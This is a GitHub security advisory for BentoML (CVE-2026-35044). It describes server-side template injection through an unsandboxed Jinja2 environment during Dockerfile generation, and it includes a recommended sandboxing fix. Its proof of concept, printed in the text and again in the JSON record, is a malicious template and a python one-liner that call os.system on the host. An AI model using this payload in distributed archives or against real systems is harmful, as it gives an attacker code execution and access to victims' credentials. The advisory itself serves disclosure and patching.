GHSA-V959-CWQ9-7HR6

Vulnerability from github – Published: 2026-04-03 23:14 – Updated: 2026-04-06 23:42
VLAI?
Summary
BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation
Details

Summary

The Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.

Details

The vulnerability exists in the generate_containerfile() function at src/bentoml/_internal/container/generate.py:155-157:

ENVIRONMENT = Environment(
    extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
    trim_blocks=True,
    lstrip_blocks=True,
    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)

This creates an unsandboxed jinja2.Environment with two dangerous extensions: - jinja2.ext.do — enables {% do %} tags that execute arbitrary Python expressions - jinja2.ext.debug — exposes internal template engine state

Attack path:

  1. Attacker builds a bento with dockerfile_template set in bentofile.yaml. During bentoml build, DockerOptions.write_to_bento() (build_config.py:272-276) copies the template file into the bento archive at env/docker/Dockerfile.template:
if self.dockerfile_template is not None:
    shutil.copy2(
        resolve_user_filepath(self.dockerfile_template, build_ctx),
        docker_folder / "Dockerfile.template",
    )
  1. Attacker exports the bento as a .bento or .tar.gz archive and distributes it (via S3, HTTP, direct sharing, etc.).

  2. Victim imports the bento with bentoml import bento.tar — no validation of template content is performed.

  3. Victim containerizes with bentoml containerize. The construct_containerfile() function (__init__.py:198-204) detects the template and sets the path:

docker_attrs["dockerfile_template"] = "env/docker/Dockerfile.template"
  1. generate_containerfile() (generate.py:181-192) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:
user_templates = docker.dockerfile_template
if user_templates is not None:
    dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))
    user_templates = os.path.basename(user_templates)
    TEMPLATES_PATH.append(dir_path)
    environment = ENVIRONMENT.overlay(
        loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)
    )
    template = environment.get_template(
        user_templates,
        globals={"bento_base_template": template, **J2_FUNCTION},
    )
# ...
return template.render(...)  # <-- SSTI executes here, on the HOST

Critical distinction: Commands in docker.commands or docker.post_commands execute inside the Docker build container (isolated). SSTI payloads execute Python directly on the host machine during template rendering, before Docker is invoked. This bypasses all container isolation.

PoC

Step 1: Create malicious template evil.j2:

{% extends bento_base_template %}
{% block SETUP_BENTO_COMPONENTS %}
{{ super() }}
{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id > /tmp/pwned') %}
{% endblock %}

Step 2: Create bentofile.yaml referencing the template:

service: 'service:MyService'
docker:
  dockerfile_template: ./evil.j2

Step 3: Attacker builds and exports:

bentoml build
bentoml export myservice:latest bento.tar

Step 4: Victim imports and containerizes:

bentoml import bento.tar
bentoml containerize myservice:latest

Step 5: Verify host code execution:

cat /tmp/pwned
# Output: uid=1000(victim) gid=1000(victim) groups=...

The SSTI payload executes on the host during template rendering, before any Docker container is created.

Standalone verification that the Jinja2 Environment allows code execution:

python3 -c "
from jinja2 import Environment
env = Environment(extensions=['jinja2.ext.do'])
t = env.from_string(\"{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('echo SSTI_WORKS') %}\")
t.render()
"
# Output: SSTI_WORKS

Impact

An attacker who distributes a malicious bento archive can achieve arbitrary code execution on the host machine of any user who imports and containerizes the bento. This gives the attacker:

  • Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens)
  • Ability to install backdoors or pivot to other systems
  • Access to environment variables containing secrets (API keys, database credentials)
  • Potential supply chain compromise if the victim's machine is a CI/CD runner

The attack is particularly dangerous because: 1. Users may reasonably expect bentoml containerize to be a safe build operation 2. The malicious template is embedded inside the bento archive and not visible without manual inspection 3. Execution happens on the host, not inside a Docker container, bypassing all isolation

Recommended Fix

Replace the unsandboxed jinja2.Environment with jinja2.sandbox.SandboxedEnvironment and remove the dangerous jinja2.ext.do and jinja2.ext.debug extensions, which are unnecessary for Dockerfile template rendering.

In src/bentoml/_internal/container/generate.py, change lines 155-157:

# Before (VULNERABLE):
from jinja2 import Environment
# ...
ENVIRONMENT = Environment(
    extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
    trim_blocks=True,
    lstrip_blocks=True,
    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)

# After (FIXED):
from jinja2.sandbox import SandboxedEnvironment
# ...
ENVIRONMENT = SandboxedEnvironment(
    extensions=["jinja2.ext.loopcontrols"],
    trim_blocks=True,
    lstrip_blocks=True,
    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)

Additionally, review the second unsandboxed Environment in build_config.py:499-504 which also uses jinja2.ext.debug:

# build_config.py:499 - also fix:
env = jinja2.sandbox.SandboxedEnvironment(
    variable_start_string="<<",
    variable_end_string=">>",
    loader=jinja2.FileSystemLoader(os.path.dirname(__file__), followlinks=True),
)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.37"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "bentoml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.38"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35044"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T23:14:15Z",
    "nvd_published_at": "2026-04-06T18:16:41Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe Dockerfile generation function `generate_containerfile()` in `src/bentoml/_internal/container/generate.py` uses an unsandboxed `jinja2.Environment` with the `jinja2.ext.do` extension to render user-provided `dockerfile_template` files. When a victim imports a malicious bento archive and runs `bentoml containerize`, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.\n\n## Details\n\nThe vulnerability exists in the `generate_containerfile()` function at `src/bentoml/_internal/container/generate.py:155-157`:\n\n```python\nENVIRONMENT = Environment(\n    extensions=[\"jinja2.ext.do\", \"jinja2.ext.loopcontrols\", \"jinja2.ext.debug\"],\n    trim_blocks=True,\n    lstrip_blocks=True,\n    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n```\n\nThis creates an **unsandboxed** `jinja2.Environment` with two dangerous extensions:\n- `jinja2.ext.do` \u2014 enables `{% do %}` tags that execute arbitrary Python expressions\n- `jinja2.ext.debug` \u2014 exposes internal template engine state\n\n**Attack path:**\n\n1. **Attacker builds a bento** with `dockerfile_template` set in `bentofile.yaml`. During `bentoml build`, `DockerOptions.write_to_bento()` (`build_config.py:272-276`) copies the template file into the bento archive at `env/docker/Dockerfile.template`:\n\n```python\nif self.dockerfile_template is not None:\n    shutil.copy2(\n        resolve_user_filepath(self.dockerfile_template, build_ctx),\n        docker_folder / \"Dockerfile.template\",\n    )\n```\n\n2. **Attacker exports** the bento as a `.bento` or `.tar.gz` archive and distributes it (via S3, HTTP, direct sharing, etc.).\n\n3. **Victim imports** the bento with `bentoml import bento.tar` \u2014 no validation of template content is performed.\n\n4. **Victim containerizes** with `bentoml containerize`. The `construct_containerfile()` function (`__init__.py:198-204`) detects the template and sets the path:\n\n```python\ndocker_attrs[\"dockerfile_template\"] = \"env/docker/Dockerfile.template\"\n```\n\n5. **`generate_containerfile()`** (`generate.py:181-192`) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:\n\n```python\nuser_templates = docker.dockerfile_template\nif user_templates is not None:\n    dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))\n    user_templates = os.path.basename(user_templates)\n    TEMPLATES_PATH.append(dir_path)\n    environment = ENVIRONMENT.overlay(\n        loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)\n    )\n    template = environment.get_template(\n        user_templates,\n        globals={\"bento_base_template\": template, **J2_FUNCTION},\n    )\n# ...\nreturn template.render(...)  # \u003c-- SSTI executes here, on the HOST\n```\n\n**Critical distinction**: Commands in `docker.commands` or `docker.post_commands` execute *inside* the Docker build container (isolated). SSTI payloads execute Python directly on the **host machine** during template rendering, *before* Docker is invoked. This bypasses all container isolation.\n\n## PoC\n\n**Step 1: Create malicious template `evil.j2`:**\n\n```jinja2\n{% extends bento_base_template %}\n{% block SETUP_BENTO_COMPONENTS %}\n{{ super() }}\n{% do namespace.__init__.__globals__[\u0027__builtins__\u0027][\u0027__import__\u0027](\u0027os\u0027).system(\u0027id \u003e /tmp/pwned\u0027) %}\n{% endblock %}\n```\n\n**Step 2: Create `bentofile.yaml` referencing the template:**\n\n```yaml\nservice: \u0027service:MyService\u0027\ndocker:\n  dockerfile_template: ./evil.j2\n```\n\n**Step 3: Attacker builds and exports:**\n\n```bash\nbentoml build\nbentoml export myservice:latest bento.tar\n```\n\n**Step 4: Victim imports and containerizes:**\n\n```bash\nbentoml import bento.tar\nbentoml containerize myservice:latest\n```\n\n**Step 5: Verify host code execution:**\n\n```bash\ncat /tmp/pwned\n# Output: uid=1000(victim) gid=1000(victim) groups=...\n```\n\nThe SSTI payload executes on the host during template rendering, before any Docker container is created.\n\n**Standalone verification that the Jinja2 Environment allows code execution:**\n\n```bash\npython3 -c \"\nfrom jinja2 import Environment\nenv = Environment(extensions=[\u0027jinja2.ext.do\u0027])\nt = env.from_string(\\\"{% do namespace.__init__.__globals__[\u0027__builtins__\u0027][\u0027__import__\u0027](\u0027os\u0027).system(\u0027echo SSTI_WORKS\u0027) %}\\\")\nt.render()\n\"\n# Output: SSTI_WORKS\n```\n\n## Impact\n\nAn attacker who distributes a malicious bento archive can achieve **arbitrary code execution on the host machine** of any user who imports and containerizes the bento. This gives the attacker:\n\n- Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens)\n- Ability to install backdoors or pivot to other systems\n- Access to environment variables containing secrets (API keys, database credentials)\n- Potential supply chain compromise if the victim\u0027s machine is a CI/CD runner\n\nThe attack is particularly dangerous because:\n1. Users may reasonably expect `bentoml containerize` to be a safe build operation\n2. The malicious template is embedded inside the bento archive and not visible without manual inspection\n3. Execution happens on the host, not inside a Docker container, bypassing all isolation\n\n## Recommended Fix\n\nReplace the unsandboxed `jinja2.Environment` with `jinja2.sandbox.SandboxedEnvironment` and remove the dangerous `jinja2.ext.do` and `jinja2.ext.debug` extensions, which are unnecessary for Dockerfile template rendering.\n\nIn `src/bentoml/_internal/container/generate.py`, change lines 155-157:\n\n```python\n# Before (VULNERABLE):\nfrom jinja2 import Environment\n# ...\nENVIRONMENT = Environment(\n    extensions=[\"jinja2.ext.do\", \"jinja2.ext.loopcontrols\", \"jinja2.ext.debug\"],\n    trim_blocks=True,\n    lstrip_blocks=True,\n    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n\n# After (FIXED):\nfrom jinja2.sandbox import SandboxedEnvironment\n# ...\nENVIRONMENT = SandboxedEnvironment(\n    extensions=[\"jinja2.ext.loopcontrols\"],\n    trim_blocks=True,\n    lstrip_blocks=True,\n    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n```\n\nAdditionally, review the second unsandboxed Environment in `build_config.py:499-504` which also uses `jinja2.ext.debug`:\n\n```python\n# build_config.py:499 - also fix:\nenv = jinja2.sandbox.SandboxedEnvironment(\n    variable_start_string=\"\u003c\u003c\",\n    variable_end_string=\"\u003e\u003e\",\n    loader=jinja2.FileSystemLoader(os.path.dirname(__file__), followlinks=True),\n)\n```",
  "id": "GHSA-v959-cwq9-7hr6",
  "modified": "2026-04-06T23:42:07Z",
  "published": "2026-04-03T23:14:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-v959-cwq9-7hr6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35044"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bentoml/BentoML"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…